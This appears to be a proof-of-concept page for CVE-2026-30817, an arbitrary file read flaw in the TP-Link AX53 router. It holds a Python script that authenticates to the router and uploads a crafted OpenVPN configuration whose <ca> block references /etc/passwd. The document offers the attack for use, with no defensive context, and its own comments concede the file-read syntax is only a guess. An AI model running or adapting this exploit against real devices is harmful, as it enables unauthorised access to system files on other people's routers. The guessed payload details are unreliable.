CVE-2026-30817 TP-Link AX53 任意文件读取漏洞

# PoC Concept for CVE-2026-30817 # This script demonstrates how to craft a malicious configuration file. import requests # Target URL (Example, actual endpoint may vary) target_ip = "192.168.0.1" login_url = f"http://{target_ip}/cgi-bin/login" upload_url = f"http://{target_ip}/cgi-bin/openvpn/import" # 1. Authentication (Low privilege required) session = requests.Session() auth_data = {"username": "user", "password": "password"} # session.post(login_url, data=auth_data) # 2. Craft Malicious OpenVPN Config # The vulnerability allows reading arbitrary files via config directives. # We construct a config that attempts to include a sensitive system file. malicious_config = """ client dev tun proto tcp remote 127.0.0.1 1194 # Malicious directive to read file (example syntax based on typical config parsing) # The specific parameter depends on the firmware implementation. <ca> /etc/passwd </ca> """ files = { 'config_file': ('exploit.ovpn', malicious_config, 'application/octet-stream') } # 3. Upload Configuration # response = session.post(upload_url, files=files) # print(response.text) print("Malicious configuration generated. Upload this to the vulnerable OpenVPN module.")
